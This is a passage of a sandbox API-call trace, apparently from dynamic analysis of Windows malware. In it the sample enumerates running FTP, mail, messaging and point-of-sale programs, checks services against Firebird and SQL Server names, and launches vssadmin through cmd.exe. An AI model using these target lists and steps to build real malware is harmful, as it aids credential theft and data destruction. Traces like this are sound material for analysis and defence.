[0093.497] lstrlenW (lpString="coreftp.exe") returned 11 [0093.497] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0093.498] lstrlenW (lpString="far.exe") returned 7 [0093.498] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0093.498] lstrlenW (lpString="filezilla.exe") returned 13 [0093.498] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0093.499] lstrlenW (lpString="flashfxp.exe") returned 12 [0093.499] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0093.515] lstrlenW (lpString="fling.exe") returned 9 [0093.515] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0093.516] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0093.516] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0093.516] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0093.517] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0093.517] lstrlenW (lpString="icq.exe") returned 7 [0093.517] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0093.518] lstrlenW (lpString="leechftp.exe") returned 12 [0093.518] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0093.519] lstrlenW (lpString="ncftp.exe") returned 9 [0093.519] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0093.520] lstrlenW (lpString="notepad.exe") returned 11 [0093.520] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0093.521] lstrlenW (lpString="operamail.exe") returned 13 [0093.521] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0093.522] lstrlenW (lpString="pidgin.exe") returned 10 [0093.522] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0093.523] lstrlenW (lpString="scriptftp.exe") returned 13 [0093.523] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0093.524] lstrlenW (lpString="skype.exe") returned 9 [0093.524] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0093.525] lstrlenW (lpString="smartftp.exe") returned 12 [0093.525] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0093.526] lstrlenW (lpString="thunderbird.exe") returned 15 [0093.526] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0093.528] lstrlenW (lpString="totalcmd.exe") returned 12 [0093.528] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0093.529] lstrlenW (lpString="trillian.exe") returned 12 [0093.529] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0093.530] lstrlenW (lpString="webdrive.exe") returned 12 [0093.530] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0093.531] lstrlenW (lpString="whatsapp.exe") returned 12 [0093.531] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0093.532] lstrlenW (lpString="winscp.exe") returned 10 [0093.532] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0093.533] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0093.533] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0093.534] lstrlenW (lpString="active-charge.exe") returned 17 [0093.534] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0093.535] lstrlenW (lpString="accupos.exe") returned 11 [0093.535] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0093.536] lstrlenW (lpString="afr38.exe") returned 9 [0093.536] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0093.852] lstrlenW (lpString="aldelo.exe") returned 10 [0093.852] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0093.853] lstrlenW (lpString="ccv_server.exe") returned 14 [0093.853] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0093.854] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0093.854] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0093.855] lstrlenW (lpString="creditservice.exe") returned 17 [0093.855] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0093.856] lstrlenW (lpString="edcsvr.exe") returned 10 [0093.856] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0093.857] lstrlenW (lpString="fpos.exe") returned 8 [0093.857] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0093.858] lstrlenW (lpString="isspos.exe") returned 10 [0093.858] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0093.860] lstrlenW (lpString="mxslipstream.exe") returned 16 [0093.860] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0093.860] lstrlenW (lpString="omnipos.exe") returned 11 [0093.860] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0093.861] lstrlenW (lpString="spcwin.exe") returned 10 [0093.861] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0093.862] lstrlenW (lpString="spgagentservice.exe") returned 19 [0093.862] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0093.863] lstrlenW (lpString="utg2.exe") returned 8 [0093.863] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0093.864] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0093.864] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0093.865] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0093.865] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0093.866] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0093.866] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0093.867] lstrlenW (lpString="achieve.exe") returned 11 [0093.867] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0093.868] lstrlenW (lpString="harvard.exe") returned 11 [0093.868] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.869] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.869] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.870] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.870] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0093.871] lstrlenW (lpString="taskhost.exe") returned 12 [0093.871] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0093.872] lstrlenW (lpString="mdskkv.exe") returned 10 [0093.872] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0093.872] lstrlenW (lpString="cmd.exe") returned 7 [0093.873] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.873] lstrlenW (lpString="conhost.exe") returned 11 [0093.873] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0093.874] lstrlenW (lpString="vssadmin.exe") returned 12 [0093.874] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0093.875] lstrlenW (lpString="VSSVC.exe") returned 9 [0093.875] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.876] lstrlenW (lpString="svchost.exe") returned 11 [0093.876] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.877] lstrlenW (lpString="svchost.exe") returned 11 [0093.877] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0093.878] lstrlenW (lpString="LogonUI.exe") returned 11 [0093.878] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0093.878] CloseHandle (hObject=0x204) returned 1 [0093.878] Sleep (dwMilliseconds=0x1f4) [0094.652] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624f40 [0094.652] EnumServicesStatusExW (in: hSCManager=0x624f40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0094.653] GetLastError () returned 0xea [0094.653] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12b4) returned 0x65b460 [0094.653] EnumServicesStatusExW (in: hSCManager=0x624f40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x65b460, cbBufSize=0x12b4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x65b460, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0094.654] CloseServiceHandle (hSCObject=0x624f40) returned 1 [0094.654] lstrlenW (lpString="Appinfo") returned 7 [0094.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0094.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0094.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0094.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0094.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0094.654] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0094.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.654] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0094.655] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0094.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0094.655] lstrlenW (lpString="AudioSrv") returned 8 [0094.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0094.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0094.655] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0094.655] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0094.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0094.655] lstrlenW (lpString="BFE") returned 3 [0094.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0094.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0094.655] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0094.655] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0094.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0094.655] lstrlenW (lpString="CryptSvc") returned 8 [0094.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0094.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0094.655] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0094.655] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0094.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0094.655] lstrlenW (lpString="CscService") returned 10 [0094.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0094.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0094.655] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0094.655] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0094.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0094.655] lstrlenW (lpString="DcomLaunch") returned 10 [0094.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.656] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0094.656] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0094.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0094.656] lstrlenW (lpString="Dhcp") returned 4 [0094.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0094.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0094.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0094.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0094.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0094.656] lstrlenW (lpString="Dnscache") returned 8 [0094.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0094.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0094.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0094.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0094.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0094.656] lstrlenW (lpString="DPS") returned 3 [0094.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0094.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0094.656] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0094.656] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0094.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0094.656] lstrlenW (lpString="eventlog") returned 8 [0094.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0094.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0094.656] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0094.656] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0094.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0094.656] lstrlenW (lpString="EventSystem") returned 11 [0094.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0094.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0094.656] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0094.657] 